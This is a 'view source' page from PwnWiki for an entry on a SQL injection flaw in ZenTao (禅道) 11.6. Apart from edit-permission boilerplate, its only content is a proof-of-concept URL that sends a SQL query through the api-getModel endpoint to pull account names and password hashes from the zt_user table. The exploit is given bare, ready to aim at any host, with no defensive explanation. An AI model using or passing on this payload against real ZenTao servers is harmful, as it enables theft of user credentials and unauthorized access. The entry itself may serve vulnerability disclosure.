View source for 禅道 11.6版本 SQL注入漏洞

From PwnWiki

← 禅道 11.6版本 SQL注入漏洞

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

==POC==
<code><nowiki>http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user</nowiki></code>

Return to 禅道 11.6版本 SQL注入漏洞.

Retrieved from "https://pwnwiki.com/index.php?title=禅道_11.6版本_SQL注入漏洞"